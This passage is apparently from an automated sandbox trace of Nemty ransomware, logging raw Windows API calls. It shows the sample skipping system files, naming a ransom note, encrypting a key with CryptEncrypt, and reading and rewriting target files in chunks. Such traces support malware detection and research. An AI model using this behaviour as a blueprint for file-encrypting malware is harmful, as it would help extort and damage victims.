lpString2="rsa") returned -1 [0147.574] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0147.574] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0147.574] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0147.574] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0147.574] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0147.577] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0147.577] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0147.577] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0147.577] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0147.577] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0147.578] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0147.578] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0147.578] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0147.578] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0147.578] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340488 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.578] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb757e30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb757e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb757e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0147.578] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0147.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0147.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.579] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2=".") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="..") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="...") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="windows") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="$RECYCLE.BIN") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="rsa") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="NTDETECT.COM") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="ntldr") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="MSDOS.SYS") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="IO.SYS") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="boot.ini") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="boot.ini") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="ntuser.dat") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="desktop.ini") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="CONFIG.SYS") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="RECYCLER") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="BOOTSECT.BAK") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="bootmgr") returned 1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="programdata") returned -1 [0147.579] lstrcmpiW (lpString1="next_down.png", lpString2="appdata") returned 1 [0147.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_down.png", lpUsedDefaultChar=0x0) returned 13 [0147.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_down.png", lpUsedDefaultChar=0x0) returned 13 [0147.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_down.png", lpUsedDefaultChar=0x0) returned 13 [0147.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="next_down.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="next_down.png", lpUsedDefaultChar=0x0) returned 13 [0147.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0147.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0147.580] Sleep (dwMilliseconds=0x5) [0147.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb9df590, dwHighDateTime=0x1d561e8)) [0147.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xb9df590, dwHighDateTime=0x1d561e8)) [0147.589] GetLastError () returned 0x12 [0147.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.589] GetLastError () returned 0x12 [0147.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0147.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0147.590] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0147.590] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="r+aEBBkQhzO/WqmEImy8QD4YgV9fRgwg7uvREoih9PQrUhDrp0fxMMcBKmSqtBIn\r\nZYmD6PBjA90PvvtrQhQ0H6/z3+bBMQtgzk3U0YCMKIgGHukPADDpZBqnmj/FrGsd\r\nvytT9fe/CHkX3K7VI9mrc2uMw1577452vWg3NRhvAPSgTi2BQhUddSdErZ5iqdEp\r\nfE/JW9VPA1+Bbo1WSEJAO4aBZJcT7/CkHYsncetb7wbxl0HpE7aFRa/m1GJS2wdl\r\noZ+GVXyu36KUHkw//tg7cYZ848ChxLfRfMEZCtWAz7DM5f7TlpnkoIDQLFjEuU3w\r\nTncaNc6iIhmx6UzpxRZqig==\r\n", pcchString=0x653e91c) returned 1 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0147.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.590] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.590] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0147.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0147.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0147.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 